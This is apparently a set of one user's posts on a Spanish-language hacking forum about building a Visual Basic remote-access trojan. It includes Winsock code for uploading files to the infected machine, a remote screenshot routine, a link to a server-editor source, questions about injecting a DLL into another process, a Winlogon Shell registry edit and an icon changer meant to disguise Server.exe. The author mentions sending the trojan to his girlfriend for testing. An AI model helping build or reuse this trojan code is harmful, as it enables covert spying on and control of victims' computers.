Mensajes

pos nop, no es el pb lo e kitado y seguia tardando lo mismo. me ta volviendo loco -.-

ok, tonces es problema de mi codigo. en el cliente si que uso el mswinsck.ocx. pue si, incluso indectandome a mi mismo tarda tanto tiempo.

el codigo de subir y bajar archivos es este:

en el server:

Código (vb) [Seleccionar] Expandir

If Envio = True Then
    Llegada = Llegada & data
    If Len(Llegada) = lenFile Then
        Open Dir1.Path & "\" & nombreRecibido For Binary As #1
        Put #1, , Llegada
        Close #1
        Llegada = ""
        Envio = False
        ws.SendData "ok recibido"
    End If
    Exit Sub
End If
vData = Split(data, "|")

Select Case vData(0) 'Empezamos los casos
Case "subir" 'Recibe nombre y tamaño del archivo
lenFile = vData(1)
nombreRecibido = vData(2)
Envio = True
data = ""
ws.SendData "SendFile"
Exit Sub


y en el cliente:

Código (vb) [Seleccionar] Expandir

Case "SendFile" 'Enviamos el archivo a subir
    On Error Resume Next
    Frm_File.pb.Value = 0
   
    vIndex = Split(Lv.SelectedItem.Key, "|")
    Dim Send As String
   
    Open RutaSubida For Binary As #1
    Dim Todo As String
        Todo = Space(LOF(1))
        Get #1, , Todo
    Close #1
   
    Frm_File.pb.Max = Len(Todo)
   
    For o = 1 To Len(Todo) 'Leemos el archivo de 10 en 10 bit's
        Dim Porciento As Integer 'Para que apareza el porcentaje de descarga
        Porciento = o / Len(Todo) * 100
        Frm_File.lblEstado.Caption = "Subido:" & Porciento & "%"
        Parte = Mid(Todo, o, 10)
        o = o + 9
        Ws(vIndex(0)).SendData Parte 'Enviamos los 10 bit's
        Frm_File.pb.Value = o  'Para hacer avanzar la barra de progreso
        Sleep 1
    Next o
   
   
Case "ok recibido" 'Nos indica q el archivo a llegado
    MsgBox "Archivo enviado correctamente.", vbOKOnly
    Frm_File.lblEstado.Caption = ""
    Frm_File.pb.Value = 0

Bien este es el code que uso para subir archivos. es = que el ejemplo que subio eon. lo e intentado adaptar a mi troya, que ma costao lo mio, pero al final funciona. Gracias EON, ue grande eres xD.

weno, a ver si alguien sabe por que el motivo de la lentitud., puede ser que envia de 10 en 10 bits? aunque me parece que es demasiado tiempo para tan poca cosa
Gracias

wenas, aver os komento un pequeño problema que tengo. el server de mi troyano lo e hecho con el moculo csocketmaster, pero la conexion es lentisima. para subir un archivo de 145 kb en local tarda sin exagerar unos 2 minutos. queria saber si esto es normal, o se debe a un fallo en mi codigo.
gracaias

PD. para no empezar otro post me acabo de acordar de un problema con el troya. sin lo uso en red local, se conecta perfectamente, pero si conecta desde fuera del router no conecta bien. me explico:
cuando recibo una conexion, muestra un form a lo msn con el nombre del pc que se conecta y reproduce un sonido. si lo ejecito el LAN funciona a las 1000, exceptuando el problema de lentitud. si se lo mando a mi novia(que es la encargada de pruebas xD) solo me muestra el form y reproduce el sonido, pero no muestra nombre ni nda, con lo cual no puedo acer nada. digamos que solo recibe la conexion, pero no establece.

Alguna idea de por que puede ser?

Muchas thanks xD

http://www.freefilehosting.net/files/NDc3OA==

yo solo te puedo responder al cjpg,. de lo demas ni idea, aunque creo que ami me pasa algo parecido tb.

lo del jpg yo lo hago de esta manera, que creoq ue es la correcta(almenos funciona xD)

en el formulario declaro:

Código (vb) [Seleccionar] Expandir

Dim Foto As New Class1 'Class1 es el nombre del module de clase cjpg.


depues en data arrival tengo esto:

Código (vb) [Seleccionar] Expandir

Case "Screen"
Resolucion = vData(1)
Foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
Foto.Quality = Resolucion   'aqui ajustas la calidad dsd 1 a 100 hasi bajas calidad bajas peso
Foto.SampleScreen
Foto.SaveFile ("c:\capture.jpg")
ws.SendData "tamscreen|" & FileLen("C:\capture.jpg")

la resolucion la mando desde el cliente, pero puedes ajustarla aki si queieres.

este es el metodo que uso yo. conn esto solo consiguo un pantallazo de lo que esta haciendo. a ver si encuentro otro modulo para tomar capturas, que era mas rapido que el cjpg(creo, lo lei por aquie hace dias), ya que con el modulo del csocketmaster, la conexsion es lentisima, incluso en local.

espero aberte ayudado


PD: para el editor de server, te dejo un source que hize siguiendo el manual de warghost. espero que te sirva.

Código [Seleccionar] Expandir

http://rapidshare.com/files/45004307/editor-server.rar

trojanfrance

sio no recuerdo mal ay abia code de msnfake, que creo que es lo que kieres tu.

gracias, pero me tira error, variable no definida :
DLL_PROCESS_DETACH

para poner color en los codigos, a  la derecha del boton con la A roja ay un desplegable, ay seleccionas el lenguaje  y pegas el codigo dentro de las etiketas.

me puedes explicar como va ese code?

gracias

muy bueno hendrix, e estado leyendo y probando el codigo. la duda que tengo es que como puedo hacer para que el notepad, en sete caso, llame a una funcion de la dll. e seguido el tutorial de crear una dll, que posteo EON, y tengo una dll con una funcion, que cuando es llamada, muestra un mensaje. si creo un proyecto y llamo a esa dll
asi:

Código (vb) [Seleccionar] Expandir


Private Declare Function Wenas Lib "Prueba.dll" () As String

Private sub Form_Load()
dim msg as string
msg = Wenas
msg = MTrim(msg)
msgbox msg
End Sub

de esta manera al generar el proyecto, me muestra el mensaje que e puesto en la funcion de la dll. mi duda es como llamar a esa funcion, o que se ejecute sola, al cargarse en elproceso.

Muchas gracias, y muy weno hendix.

yo lo que hacia para cambia el nombre era editar el explorer. exe con el reshack y buscaba el valor inicio, logo lo moidificaba y loguardaba como explorer2.exe

lo en el registro en:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\Winlogon\
en la clave Shell, modificaba el explorer.exe por explorer2.exe y reiniciaba. es un metodo un poc xapucero, pero lo lei hace muxo y decidi probarlo.

espro que te sirva

weno pos en mi proyecto, al extraer un recursos como exe e intentar cambiar el icono, me tira un error el vb:
Error de compilacion:
No se a definido el tipo definido por el usuario

me salta en esta linea:
Dim Icons() As IconDescriptor

que puede ocurrir?
el modulo del iconchanger lo e sacado del catus de mad, y lo llamo asi:

If ckIcon = 1 Then
Dim eRR As String
ReplaceIcons Cd.FileName, App.Path & "Server.exe", eRR
End If

Gracias